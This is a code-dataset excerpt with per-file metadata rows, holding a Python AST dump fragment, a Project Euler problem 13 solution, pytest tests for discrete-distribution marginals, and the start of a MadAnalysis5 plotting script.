end_col_offset=8),
args=[
Name(
id='_work_multiply_start',
ctx=Load(),
lineno=36,
col_offset=9,
end_lineno=36,
end_col_offset=29)],
keywords=[],
lineno=36,
col_offset=4,
end_lineno=36,
end_col_offset=30),
lineno=36,
col_offset=4,
end_lineno=36,
end_col_offset=30)],
decorator_list=[],
lineno=33,
col_offset=0,
end_lineno=36,
end_col_offset=30),
FunctionDef(
name='_end_multiply',
args=arguments(
posonlyargs=[],
args=[],
kwonlyargs=[],
kw_defaults=[],
defaults=[]),
body=[
Return(
lineno=39,
col_offset=4,
end_lineno=39,
end_col_offset=10)],
decorator_list=[],
lineno=38,
col_offset=0,
end_lineno=39,
end_col_offset=10),
Expr(
value=Call(
func=Name(
id='reserve_label',
ctx=Load(),
lineno=42,
col_offset=0,
end_lineno=42,
end_col_offset=13),
args=[
Constant(
value='result',
lineno=42,
col_offset=14,
end_lineno=42,
end_col_offset=22)],
keywords=[],
lineno=42,
col_offset=0,
end_lineno=42,
end_col_offset=23),
lineno=42,
col_offset=0,
end_lineno=42,
end_col_offset=23)],
type_ignores=[])
| 37.025564
| 58
| 0.270733
| 1,597
| 24,622
| 3.911083
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| 0.62536
| 0.572687
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| 24,622
| 665
| 59
| 37.025564
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|
0
| 7
|
78182f00d0eb73188a33854a68e80df5263ecd55
| 5,808
|
py
|
Python
|
problems/013/run.py
|
birdchan/project_euler
|
ec36d3a9e47cbca8c84bdbf41bd93cd49d320364
|
[
"MIT"
] | null | null | null |
problems/013/run.py
|
birdchan/project_euler
|
ec36d3a9e47cbca8c84bdbf41bd93cd49d320364
|
[
"MIT"
] | null | null | null |
problems/013/run.py
|
birdchan/project_euler
|
ec36d3a9e47cbca8c84bdbf41bd93cd49d320364
|
[
"MIT"
] | null | null | null |
import math
import string
s = """
37107287533902102798797998220837590246510135740250
46376937677490009712648124896970078050417018260538
74324986199524741059474233309513058123726617309629
91942213363574161572522430563301811072406154908250
23067588207539346171171980310421047513778063246676
89261670696623633820136378418383684178734361726757
28112879812849979408065481931592621691275889832738
44274228917432520321923589422876796487670272189318
47451445736001306439091167216856844588711603153276
70386486105843025439939619828917593665686757934951
62176457141856560629502157223196586755079324193331
64906352462741904929101432445813822663347944758178
92575867718337217661963751590579239728245598838407
58203565325359399008402633568948830189458628227828
80181199384826282014278194139940567587151170094390
35398664372827112653829987240784473053190104293586
86515506006295864861532075273371959191420517255829
71693888707715466499115593487603532921714970056938
54370070576826684624621495650076471787294438377604
53282654108756828443191190634694037855217779295145
36123272525000296071075082563815656710885258350721
45876576172410976447339110607218265236877223636045
17423706905851860660448207621209813287860733969412
81142660418086830619328460811191061556940512689692
51934325451728388641918047049293215058642563049483
62467221648435076201727918039944693004732956340691
15732444386908125794514089057706229429197107928209
55037687525678773091862540744969844508330393682126
18336384825330154686196124348767681297534375946515
80386287592878490201521685554828717201219257766954
78182833757993103614740356856449095527097864797581
16726320100436897842553539920931837441497806860984
48403098129077791799088218795327364475675590848030
87086987551392711854517078544161852424320693150332
59959406895756536782107074926966537676326235447210
69793950679652694742597709739166693763042633987085
41052684708299085211399427365734116182760315001271
65378607361501080857009149939512557028198746004375
35829035317434717326932123578154982629742552737307
94953759765105305946966067683156574377167401875275
88902802571733229619176668713819931811048770190271
25267680276078003013678680992525463401061632866526
36270218540497705585629946580636237993140746255962
24074486908231174977792365466257246923322810917141
91430288197103288597806669760892938638285025333403
34413065578016127815921815005561868836468420090470
23053081172816430487623791969842487255036638784583
11487696932154902810424020138335124462181441773470
63783299490636259666498587618221225225512486764533
67720186971698544312419572409913959008952310058822
95548255300263520781532296796249481641953868218774
76085327132285723110424803456124867697064507995236
37774242535411291684276865538926205024910326572967
23701913275725675285653248258265463092207058596522
29798860272258331913126375147341994889534765745501
18495701454879288984856827726077713721403798879715
38298203783031473527721580348144513491373226651381
34829543829199918180278916522431027392251122869539
40957953066405232632538044100059654939159879593635
29746152185502371307642255121183693803580388584903
41698116222072977186158236678424689157993532961922
62467957194401269043877107275048102390895523597457
23189706772547915061505504953922979530901129967519
86188088225875314529584099251203829009407770775672
11306739708304724483816533873502340845647058077308
82959174767140363198008187129011875491310547126581
97623331044818386269515456334926366572897563400500
42846280183517070527831839425882145521227251250327
55121603546981200581762165212827652751691296897789
32238195734329339946437501907836945765883352399886
75506164965184775180738168837861091527357929701337
62177842752192623401942399639168044983993173312731
32924185707147349566916674687634660915035914677504
99518671430235219628894890102423325116913619626622
73267460800591547471830798392868535206946944540724
76841822524674417161514036427982273348055556214818
97142617910342598647204516893989422179826088076852
87783646182799346313767754307809363333018982642090
10848802521674670883215120185883543223812876952786
71329612474782464538636993009049310363619763878039
62184073572399794223406235393808339651327408011116
66627891981488087797941876876144230030984490851411
60661826293682836764744779239180335110989069790714
85786944089552990653640447425576083659976645795096
66024396409905389607120198219976047599490197230297
64913982680032973156037120041377903785566085089252
16730939319872750275468906903707539413042652315011
94809377245048795150954100921645863754710598436791
78639167021187492431995700641917969777599028300699
15368713711936614952811305876380278410754449733078
40789923115535562561142322423255033685442488917353
44889911501440648020369068063960672322193204149535
41503128880339536053299340368006977710650566631954
81234880673210146739058568557934581403627822703280
82616570773948327592232845941706525094512325230608
22918802058777319719839450180888072429661980811197
77158542502016545090413245809786882778948721859617
72107838435069186155435662884062257473692284509516
20849603980134001723930671666823555245252804609722
53503534226472524250874054075591789781264330331690
"""
def build_num_list(s, left_digits):
nums = []
s = s.strip()
lines = string.split(s, '\n')
more_digits = int(math.log10(len(lines))) # potential carries
for line in lines:
len_line = len(line)
# get the left 10 digits, plus the potential carry digits
line = line[:-(len_line-left_digits-more_digits)]
num = int(line)
nums.append(num)
return nums
def find_sum_of_first_n_digits(nums, left_digits):
sum = 0
for num in nums:
sum += num
sum_str = str(sum)
return sum_str[:left_digits]
if __name__ == '__main__':
left_digits = 10
nums = build_num_list(s, left_digits)
print find_sum_of_first_n_digits(nums, left_digits)
| 43.669173
| 63
| 0.944043
| 214
| 5,808
| 25.457944
| 0.658879
| 0.012849
| 0.004405
| 0.004772
| 0.021292
| 0.021292
| 0.012849
| 0.012849
| 0.012849
| 0
| 0
| 0.899569
| 0.041667
| 5,808
| 132
| 64
| 44
| 0.079231
| 0.012569
| 0
| 0
| 0
| 0
| 0.891972
| 0.8726
| 0
| 1
| 0
| 0
| 0
| 0
| null | null | 0
| 0.016
| null | null | 0.008
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
78d4ef9106901c0d8826b173fe41bdac5257cdb4
| 20,953
|
py
|
Python
|
tests/probability2/empirical_distributions/empirical_distribution_marginal_test.py
|
rpazuki/algos
|
bca46326f58eb983db6efe55320bf95fcf2b895f
|
[
"MIT"
] | null | null | null |
tests/probability2/empirical_distributions/empirical_distribution_marginal_test.py
|
rpazuki/algos
|
bca46326f58eb983db6efe55320bf95fcf2b895f
|
[
"MIT"
] | 1
|
2020-08-12T06:56:59.000Z
|
2020-08-12T08:57:30.000Z
|
tests/probability2/empirical_distributions/empirical_distribution_marginal_test.py
|
chasing-entropy/algos
|
bca46326f58eb983db6efe55320bf95fcf2b895f
|
[
"MIT"
] | null | null | null |
import pytest
from probability2.empirical_distributions import DiscreteDistribution
from tests.helpers import compare
def test_marginals_names_exception_discrete_distribution():
# Wrong rv name
with pytest.raises(ValueError):
samples = {"a": 3, "b": 4, "c": 5}
disc_dist = DiscreteDistribution(samples)
disc_dist.marginal("X1")
# Wrong rv name
with pytest.raises(ValueError):
samples = {("a", "x"): 4, ("a", "y"): 4, ("b", "x"): 6, ("b", "y"): 6}
disc_dist = DiscreteDistribution(samples)
disc_dist.marginal("X0")
# Wrong rv name
with pytest.raises(ValueError):
samples = {("a", "x"): 4, ("a", "y"): 4, ("b", "x"): 6, ("b", "y"): 6}
disc_dist = DiscreteDistribution(samples)
disc_dist.marginal("X3")
# Wrong rv name
with pytest.raises(ValueError):
samples = {("a", "x"): 4, ("a", "y"): 4, ("b", "x"): 6, ("b", "y"): 6}
disc_dist = DiscreteDistribution(samples)
disc_dist2 = disc_dist.marginal("X1")
disc_dist2.marginal("X1")
# Wrong rv name
with pytest.raises(ValueError):
samples = {("a", "x"): 4, ("a", "y"): 4, ("b", "x"): 6, ("b", "y"): 6}
disc_dist = DiscreteDistribution(samples, names=["Y", "Z"])
disc_dist.marginal("X1")
# Wrong rv name
with pytest.raises(ValueError):
samples = {("a", "x"): 4, ("a", "y"): 4, ("b", "x"): 6, ("b", "y"): 6}
disc_dist = DiscreteDistribution(samples, names=["Y", "Z"])
disc_dist.marginal("X1")
# Wrong rv name
with pytest.raises(ValueError):
samples = {("a", "x"): 4, ("a", "y"): 4, ("b", "x"): 6, ("b", "y"): 6}
disc_dist = DiscreteDistribution(samples, names=["Y", "Z"])
disc_dist2 = disc_dist.marginal("Y")
disc_dist2.marginal("Y")
# Marginalize over all vars
with pytest.raises(ValueError):
samples = {("a", "x"): 4, ("a", "y"): 4, ("b", "x"): 6, ("b", "y"): 6}
disc_dist = DiscreteDistribution(samples, names=["Y", "Z"])
disc_dist2 = disc_dist.marginal("Y", "Z")
def test_marginals_names_discrete_distribution():
samples = {("a", "x"): 4, ("a", "y"): 4, ("b", "x"): 6, ("b", "y"): 6}
disc_dist = DiscreteDistribution(samples)
disc_dist2 = disc_dist.marginal("X1")
assert all(compare(disc_dist2.names, ["X2"]))
disc_dist2 = disc_dist.marginal("X2")
assert all(compare(disc_dist2.names, ["X1"]))
#
disc_dist = DiscreteDistribution(samples, names=["Y", "Z"])
disc_dist2 = disc_dist.marginal("Y")
assert all(compare(disc_dist2.names, ["Z"]))
disc_dist2 = disc_dist.marginal("Z")
assert all(compare(disc_dist2.names, ["Y"]))
# Three levels dist.
samples = {
("a", "x", 1): 4,
("a", "x", 2): 4,
("a", "y", 1): 6,
("a", "y", 2): 6,
("b", "x", 1): 8,
("b", "x", 2): 8,
("b", "y", 1): 10,
("b", "y", 2): 10,
}
disc_dist = DiscreteDistribution(samples)
disc_dist2 = disc_dist.marginal("X1")
assert all(compare(disc_dist2.names, ["X2", "X3"]))
disc_dist2 = disc_dist.marginal("X2")
assert all(compare(disc_dist2.names, ["X1", "X3"]))
disc_dist2 = disc_dist.marginal("X3")
assert all(compare(disc_dist2.names, ["X1", "X2"]))
disc_dist2 = disc_dist.marginal("X1", "X3")
assert all(compare(disc_dist2.names, ["X2"]))
disc_dist2 = disc_dist.marginal("X2", "X3")
assert all(compare(disc_dist2.names, ["X1"]))
#
disc_dist = DiscreteDistribution(samples, names=["Y", "Z", "W"])
disc_dist2 = disc_dist.marginal("Y")
assert all(compare(disc_dist2.names, ["Z", "W"]))
disc_dist2 = disc_dist.marginal("Z")
assert all(compare(disc_dist2.names, ["Y", "W"]))
disc_dist2 = disc_dist.marginal("W")
assert all(compare(disc_dist2.names, ["Y", "Z"]))
disc_dist2 = disc_dist.marginal("Y", "W")
assert all(compare(disc_dist2.names, ["Z"]))
disc_dist2 = disc_dist.marginal("Z", "W")
assert all(compare(disc_dist2.names, ["Y"]))
def test_marginals_discrete_distribution():
# Single RV dist.
with pytest.raises(ValueError):
disc_dist = DiscreteDistribution({"A": 2, "B": 3, "C": 4})
disc_dist.marginal("X1")
# Two levels dist.
samples = {(1, 1): 4, (1, 2): 4, (2, 1): 6, (2, 2): 6}
disc_dist = DiscreteDistribution(samples)
disc_dist2 = disc_dist.marginal("X1")
assert disc_dist2.total == disc_dist.total
assert all(compare(disc_dist2.keys_as_list(), [1, 2]))
assert disc_dist2[1] == 10
assert disc_dist2[2] == 10
assert disc_dist2.probability(1) == 0.5
assert disc_dist2.probability(2) == 0.5
disc_dist2 = disc_dist.marginal("X2")
assert disc_dist2.total == disc_dist.total
assert all(compare(disc_dist2.keys_as_list(), [1, 2]))
assert disc_dist2[1] == 8
assert disc_dist2[2] == 12
assert disc_dist2.probability(1) == 0.4
assert disc_dist2.probability(2) == 0.6
samples = {("a", "x"): 4, ("a", "y"): 4, ("b", "x"): 6, ("b", "y"): 6}
disc_dist = DiscreteDistribution(samples)
disc_dist2 = disc_dist.marginal("X1")
assert disc_dist2.total == disc_dist.total
assert all(compare(disc_dist2.keys_as_list(), ["x", "y"]))
assert disc_dist2["x"] == 10
assert disc_dist2["y"] == 10
assert disc_dist2.probability("x") == 0.5
assert disc_dist2.probability("y") == 0.5
disc_dist2 = disc_dist.marginal("X1")
assert disc_dist2.total == disc_dist.total
assert all(compare(disc_dist2.keys_as_list(), ["x", "y"]))
assert disc_dist2["x"] == 10
assert disc_dist2["y"] == 10
assert disc_dist2.probability("x") == 0.5
assert disc_dist2.probability("y") == 0.5
disc_dist2 = disc_dist.marginal("X2")
assert disc_dist2.total == disc_dist.total
assert all(compare(disc_dist2.keys_as_list(), ["a", "b"]))
assert disc_dist2["a"] == 8
assert disc_dist2["b"] == 12
assert disc_dist2.probability("a") == 0.4
assert disc_dist2.probability("b") == 0.6
# Three levels dist.
samples = {
("a", "x", 1): 4,
("a", "x", 2): 4,
("a", "y", 1): 6,
("a", "y", 2): 6,
("b", "x", 1): 8,
("b", "x", 2): 8,
("b", "y", 1): 10,
("b", "y", 2): 10,
}
disc_dist = DiscreteDistribution(samples)
disc_dist2 = disc_dist.marginal("X1")
assert disc_dist2.total == disc_dist.total
assert all(
compare(disc_dist2.keys_as_list(), [("x", 1), ("x", 2), ("y", 1), ("y", 2)])
)
assert disc_dist2[("x", 1)] == 12
assert disc_dist2[("x", 2)] == 12
assert disc_dist2[("y", 1)] == 16
assert disc_dist2[("y", 2)] == 16
assert disc_dist2.probability(("x", 1)) == 12 / 56
assert disc_dist2.probability(("x", 2)) == 12 / 56
assert disc_dist2.probability(("y", 1)) == 16 / 56
assert disc_dist2.probability(("y", 2)) == 16 / 56
disc_dist2 = disc_dist.marginal("X2")
assert disc_dist2.total == disc_dist.total
assert all(
compare(disc_dist2.keys_as_list(), [("a", 1), ("a", 2), ("b", 1), ("b", 2)])
)
assert disc_dist2[("a", 1)] == 10
assert disc_dist2[("a", 2)] == 10
assert disc_dist2[("b", 1)] == 18
assert disc_dist2[("b", 2)] == 18
assert disc_dist2.probability(("a", 1)) == 10 / 56
assert disc_dist2.probability(("a", 2)) == 10 / 56
assert disc_dist2.probability(("b", 1)) == 18 / 56
assert disc_dist2.probability(("b", 2)) == 18 / 56
disc_dist2 = disc_dist.marginal("X3")
assert disc_dist2.total == disc_dist.total
assert all(
compare(
disc_dist2.keys_as_list(), [("a", "x"), ("a", "y"), ("b", "x"), ("b", "y")]
)
)
assert disc_dist2[("a", "x")] == 8
assert disc_dist2[("a", "y")] == 12
assert disc_dist2[("b", "x")] == 16
assert disc_dist2[("b", "y")] == 20
assert disc_dist2.probability(("a", "x")) == 8 / 56
assert disc_dist2.probability(("a", "y")) == 12 / 56
assert disc_dist2.probability(("b", "x")) == 16 / 56
assert disc_dist2.probability(("b", "y")) == 20 / 56
disc_dist2 = disc_dist.marginal("X1", "X2")
assert disc_dist2.total == disc_dist.total
assert all(compare(disc_dist2.keys_as_list(), [1, 2]))
assert disc_dist2[1] == 28
assert disc_dist2[2] == 28
assert disc_dist2.probability(1) == 28 / 56
assert disc_dist2.probability(2) == 28 / 56
disc_dist2 = disc_dist.marginal("X1", "X3")
assert disc_dist2.total == disc_dist.total
assert all(compare(disc_dist2.keys_as_list(), ["x", "y"]))
assert disc_dist2["x"] == 24
assert disc_dist2["y"] == 32
assert disc_dist2.probability("x") == 24 / 56
assert disc_dist2.probability("y") == 32 / 56
disc_dist2 = disc_dist.marginal("X2", "X3")
assert disc_dist2.total == disc_dist.total
assert all(compare(disc_dist2.keys_as_list(), ["a", "b"]))
assert disc_dist2["a"] == 20
assert disc_dist2["b"] == 36
assert disc_dist2.probability("a") == 20 / 56
assert disc_dist2.probability("b") == 36 / 56
# Four levels dist.
samples = {
("a", "x", 1, 33): 1,
("a", "x", 2, 33): 2,
("a", "x", 1, 44): 3,
("a", "x", 2, 44): 4,
("a", "y", 1, 33): 5,
("a", "y", 2, 33): 6,
("a", "y", 1, 44): 7,
("a", "y", 2, 44): 8,
("b", "x", 1, 33): 9,
("b", "x", 2, 33): 10,
("b", "x", 1, 44): 11,
("b", "x", 2, 44): 12,
("b", "y", 1, 33): 13,
("b", "y", 2, 33): 14,
("b", "y", 1, 44): 15,
("b", "y", 2, 44): 16,
}
disc_dist = DiscreteDistribution(samples)
disc_dist2 = disc_dist.marginal("X3")
assert disc_dist2.total == disc_dist.total
assert all(
compare(
disc_dist2.keys_as_list(),
[
("a", "x", 33),
("a", "x", 44),
("a", "y", 33),
("a", "y", 44),
("b", "x", 33),
("b", "x", 44),
("b", "y", 33),
("b", "y", 44),
],
)
)
assert disc_dist2[("a", "x", 33)] == 3
assert disc_dist2[("a", "x", 44)] == 7
assert disc_dist2[("a", "y", 33)] == 11
assert disc_dist2[("a", "y", 44)] == 15
assert disc_dist2[("b", "x", 33)] == 19
assert disc_dist2[("b", "x", 44)] == 23
assert disc_dist2[("b", "y", 33)] == 27
assert disc_dist2[("b", "y", 44)] == 31
assert disc_dist2.probability(("a", "x", 33)) == 3 / 136
assert disc_dist2.probability(("a", "x", 44)) == 7 / 136
assert disc_dist2.probability(("a", "y", 33)) == 11 / 136
assert disc_dist2.probability(("a", "y", 44)) == 15 / 136
assert disc_dist2.probability(("b", "x", 33)) == 19 / 136
assert disc_dist2.probability(("b", "x", 44)) == 23 / 136
assert disc_dist2.probability(("b", "y", 33)) == 27 / 136
assert disc_dist2.probability(("b", "y", 44)) == 31 / 136
disc_dist2 = disc_dist.marginal("X4")
assert disc_dist2.total == disc_dist.total
assert all(
compare(
disc_dist2.keys_as_list(),
[
("a", "x", 1),
("a", "x", 2),
("a", "y", 1),
("a", "y", 2),
("b", "x", 1),
("b", "x", 2),
("b", "y", 1),
("b", "y", 2),
],
)
)
assert disc_dist2[("a", "x", 1)] == 4
assert disc_dist2[("a", "x", 2)] == 6
assert disc_dist2[("a", "y", 1)] == 12
assert disc_dist2[("a", "y", 2)] == 14
assert disc_dist2[("b", "x", 1)] == 20
assert disc_dist2[("b", "x", 2)] == 22
assert disc_dist2[("b", "y", 1)] == 28
assert disc_dist2[("b", "y", 2)] == 30
assert disc_dist2.probability(("a", "x", 1)) == 4 / 136
assert disc_dist2.probability(("a", "x", 2)) == 6 / 136
assert disc_dist2.probability(("a", "y", 1)) == 12 / 136
assert disc_dist2.probability(("a", "y", 2)) == 14 / 136
assert disc_dist2.probability(("b", "x", 1)) == 20 / 136
assert disc_dist2.probability(("b", "x", 2)) == 22 / 136
assert disc_dist2.probability(("b", "y", 1)) == 28 / 136
assert disc_dist2.probability(("b", "y", 2)) == 30 / 136
disc_dist2 = disc_dist.marginal("X1", "X4")
assert disc_dist2.total == disc_dist.total
assert all(
compare(disc_dist2.keys_as_list(), [("x", 1), ("x", 2), ("y", 1), ("y", 2)])
)
assert disc_dist2[("x", 1)] == 24
assert disc_dist2[("x", 2)] == 28
assert disc_dist2[("y", 1)] == 40
assert disc_dist2[("y", 2)] == 44
assert disc_dist2.probability(("x", 1)) == 24 / 136
assert disc_dist2.probability(("x", 2)) == 28 / 136
assert disc_dist2.probability(("y", 1)) == 40 / 136
assert disc_dist2.probability(("y", 2)) == 44 / 136
disc_dist2 = disc_dist.marginal("X1", "X2", "X4")
assert disc_dist2.total == disc_dist.total
assert all(compare(disc_dist2.keys_as_list(), [1, 2]))
assert disc_dist2[1] == 64
assert disc_dist2[2] == 72
assert disc_dist2.probability(1) == 64 / 136
assert disc_dist2.probability(2) == 72 / 136
# marginalize two times
disc_dist2 = disc_dist.marginal("X1", "X4")
disc_dist3 = disc_dist2.marginal("X2")
assert disc_dist3.total == disc_dist.total
assert all(compare(disc_dist3.keys_as_list(), [1, 2]))
assert disc_dist3[1] == 64
assert disc_dist3[2] == 72
assert disc_dist3.probability(1) == 64 / 136
assert disc_dist3.probability(2) == 72 / 136
# marginalize three times
disc_dist2 = disc_dist.marginal("X4")
disc_dist3 = disc_dist2.marginal("X3")
disc_dist4 = disc_dist3.marginal("X2")
assert disc_dist4.total == disc_dist.total
assert all(compare(disc_dist4.keys_as_list(), ["a", "b"]))
assert disc_dist4["a"] == 36
assert disc_dist4["b"] == 100
assert disc_dist4.probability("a") == 36 / 136
assert disc_dist4.probability("b") == 100 / 136
def test_marginal_by_name_discrete_distribution():
# Four levels dist.
samples = {
("a", "x", 1, 33): 1,
("a", "x", 2, 33): 2,
("a", "x", 1, 44): 3,
("a", "x", 2, 44): 4,
("a", "y", 1, 33): 5,
("a", "y", 2, 33): 6,
("a", "y", 1, 44): 7,
("a", "y", 2, 44): 8,
("b", "x", 1, 33): 9,
("b", "x", 2, 33): 10,
("b", "x", 1, 44): 11,
("b", "x", 2, 44): 12,
("b", "y", 1, 33): 13,
("b", "y", 2, 33): 14,
("b", "y", 1, 44): 15,
("b", "y", 2, 44): 16,
}
disc_dist = DiscreteDistribution(samples, names=["Age", "Sex", "Edu", "Etn"])
disc_dist2 = disc_dist.marginal("Edu")
assert disc_dist2.total == disc_dist.total
assert all(
compare(
disc_dist2.keys_as_list(),
[
("a", "x", 33),
("a", "x", 44),
("a", "y", 33),
("a", "y", 44),
("b", "x", 33),
("b", "x", 44),
("b", "y", 33),
("b", "y", 44),
],
)
)
assert disc_dist2[("a", "x", 33)] == 3
assert disc_dist2[("a", "x", 44)] == 7
assert disc_dist2[("a", "y", 33)] == 11
assert disc_dist2[("a", "y", 44)] == 15
assert disc_dist2[("b", "x", 33)] == 19
assert disc_dist2[("b", "x", 44)] == 23
assert disc_dist2[("b", "y", 33)] == 27
assert disc_dist2[("b", "y", 44)] == 31
assert disc_dist2.probability(("a", "x", 33)) == 3 / 136
assert disc_dist2.probability(("a", "x", 44)) == 7 / 136
assert disc_dist2.probability(("a", "y", 33)) == 11 / 136
assert disc_dist2.probability(("a", "y", 44)) == 15 / 136
assert disc_dist2.probability(("b", "x", 33)) == 19 / 136
assert disc_dist2.probability(("b", "x", 44)) == 23 / 136
assert disc_dist2.probability(("b", "y", 33)) == 27 / 136
assert disc_dist2.probability(("b", "y", 44)) == 31 / 136
disc_dist2 = disc_dist.marginal("Etn")
assert disc_dist2.total == disc_dist.total
assert all(
compare(
disc_dist2.keys_as_list(),
[
("a", "x", 1),
("a", "x", 2),
("a", "y", 1),
("a", "y", 2),
("b", "x", 1),
("b", "x", 2),
("b", "y", 1),
("b", "y", 2),
],
)
)
assert disc_dist2[("a", "x", 1)] == 4
assert disc_dist2[("a", "x", 2)] == 6
assert disc_dist2[("a", "y", 1)] == 12
assert disc_dist2[("a", "y", 2)] == 14
assert disc_dist2[("b", "x", 1)] == 20
assert disc_dist2[("b", "x", 2)] == 22
assert disc_dist2[("b", "y", 1)] == 28
assert disc_dist2[("b", "y", 2)] == 30
assert disc_dist2.probability(("a", "x", 1)) == 4 / 136
assert disc_dist2.probability(("a", "x", 2)) == 6 / 136
assert disc_dist2.probability(("a", "y", 1)) == 12 / 136
assert disc_dist2.probability(("a", "y", 2)) == 14 / 136
assert disc_dist2.probability(("b", "x", 1)) == 20 / 136
assert disc_dist2.probability(("b", "x", 2)) == 22 / 136
assert disc_dist2.probability(("b", "y", 1)) == 28 / 136
assert disc_dist2.probability(("b", "y", 2)) == 30 / 136
disc_dist2 = disc_dist.marginal("Age", "Etn")
assert disc_dist2.total == disc_dist.total
assert all(
compare(disc_dist2.keys_as_list(), [("x", 1), ("x", 2), ("y", 1), ("y", 2)])
)
assert disc_dist2[("x", 1)] == 24
assert disc_dist2[("x", 2)] == 28
assert disc_dist2[("y", 1)] == 40
assert disc_dist2[("y", 2)] == 44
assert disc_dist2.probability(("x", 1)) == 24 / 136
assert disc_dist2.probability(("x", 2)) == 28 / 136
assert disc_dist2.probability(("y", 1)) == 40 / 136
assert disc_dist2.probability(("y", 2)) == 44 / 136
disc_dist2 = disc_dist.marginal("Age", "Sex", "Etn")
assert disc_dist2.total == disc_dist.total
assert all(compare(disc_dist2.keys_as_list(), [1, 2]))
assert disc_dist2[1] == 64
assert disc_dist2[2] == 72
assert disc_dist2.probability(1) == 64 / 136
assert disc_dist2.probability(2) == 72 / 136
# marginalize two times
disc_dist2 = disc_dist.marginal("Age", "Etn")
disc_dist3 = disc_dist2.marginal("Sex")
assert disc_dist3.total == disc_dist.total
assert all(compare(disc_dist3.keys_as_list(), [1, 2]))
assert disc_dist3[1] == 64
assert disc_dist3[2] == 72
assert disc_dist3.probability(1) == 64 / 136
assert disc_dist3.probability(2) == 72 / 136
# marginalize three times
disc_dist2 = disc_dist.marginal("Etn")
disc_dist3 = disc_dist2.marginal("Edu")
disc_dist4 = disc_dist3.marginal("Sex")
assert disc_dist4.total == disc_dist.total
assert all(compare(disc_dist4.keys_as_list(), ["a", "b"]))
assert disc_dist4["a"] == 36
assert disc_dist4["b"] == 100
assert disc_dist4.probability("a") == 36 / 136
assert disc_dist4.probability("b") == 100 / 136
def test_marginals_operator_discrete_distribution():
# Four levels dist.
samples = {
("a", "x", 1, 33): 1,
("a", "x", 2, 33): 2,
("a", "x", 1, 44): 3,
("a", "x", 2, 44): 4,
("a", "y", 1, 33): 5,
("a", "y", 2, 33): 6,
("a", "y", 1, 44): 7,
("a", "y", 2, 44): 8,
("b", "x", 1, 33): 9,
("b", "x", 2, 33): 10,
("b", "x", 1, 44): 11,
("b", "x", 2, 44): 12,
("b", "y", 1, 33): 13,
("b", "y", 2, 33): 14,
("b", "y", 1, 44): 15,
("b", "y", 2, 44): 16,
}
disc_dist = DiscreteDistribution(samples)
assert (disc_dist << "X2").total == disc_dist.total
assert (disc_dist << ("X2", "X3")).total == disc_dist.total
assert (disc_dist << ("X2", "X3", "X4")).total == disc_dist.total
assert all(compare((disc_dist << ("X1", "X2", "X4")).keys_as_list(), [1, 2]))
assert all(compare((disc_dist << ("X1", "X2", "X3")).keys_as_list(), [33, 44]))
assert all(compare((disc_dist << ("X2", "X3", "X4")).keys_as_list(), ["a", "b"]))
assert all(
compare(
(disc_dist << ("X2", "X3")).keys_as_list(),
[("a", 33), ("a", 44), ("b", 33), ("b", 44)],
)
)
disc_dist = DiscreteDistribution(samples, names=["Age", "Sex", "Education", "City"])
assert (disc_dist << ("Age")).total == disc_dist.total
assert (disc_dist << ("Sex", "Education")).total == disc_dist.total
assert (disc_dist << ("Sex", "Education", "City")).total == disc_dist.total
assert all(compare((disc_dist << ("Age", "Sex", "City")).keys_as_list(), [1, 2]))
assert all(
compare((disc_dist << ("Age", "Sex", "Education")).keys_as_list(), [33, 44])
)
assert all(
compare((disc_dist << ("Sex", "Education", "City")).keys_as_list(), ["a", "b"])
)
assert all(
compare(
(disc_dist << ("Sex", "Education")).keys_as_list(),
[("a", 33), ("a", 44), ("b", 33), ("b", 44)],
)
)
| 36.954145
| 88
| 0.528325
| 2,931
| 20,953
| 3.617537
| 0.035142
| 0.205414
| 0.230595
| 0.176554
| 0.938319
| 0.890786
| 0.826747
| 0.805149
| 0.788456
| 0.758087
| 0
| 0.090117
| 0.254856
| 20,953
| 566
| 89
| 37.019435
| 0.588996
| 0.016227
| 0
| 0.73374
| 0
| 0
| 0.041572
| 0
| 0
| 0
| 0
| 0
| 0.47561
| 1
| 0.010163
| false
| 0
| 0.006098
| 0
| 0.01626
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
152cafd0fbf842c60de8cb6234f2ad215be7a899
| 60,442
|
py
|
Python
|
optimization/first_sdEta_mjj_optimization/tight_analysis_sdeta_3.6_mjj_1250/Output/Histos/MadAnalysis5job_0/selection_11.py
|
sheride/axion_pheno
|
7d3fc08f5ae5b17a3500eba19a2e43f87f076ce5
|
[
"MIT"
] | null | null | null |
optimization/first_sdEta_mjj_optimization/tight_analysis_sdeta_3.6_mjj_1250/Output/Histos/MadAnalysis5job_0/selection_11.py
|
sheride/axion_pheno
|
7d3fc08f5ae5b17a3500eba19a2e43f87f076ce5
|
[
"MIT"
] | null | null | null |
optimization/first_sdEta_mjj_optimization/tight_analysis_sdeta_3.6_mjj_1250/Output/Histos/MadAnalysis5job_0/selection_11.py
|
sheride/axion_pheno
|
7d3fc08f5ae5b17a3500eba19a2e43f87f076ce5
|
[
"MIT"
] | null | null | null |
def selection_11():
# Library import
import numpy
import matplotlib
import matplotlib.pyplot as plt
import matplotlib.gridspec as gridspec
# Library version
matplotlib_version = matplotlib.__version__
numpy_version = numpy.__version__
# Histo binning
xBinning = numpy.linspace(0.0,2000.0,401,endpoint=True)
# Creating data sequence: middle of each bin
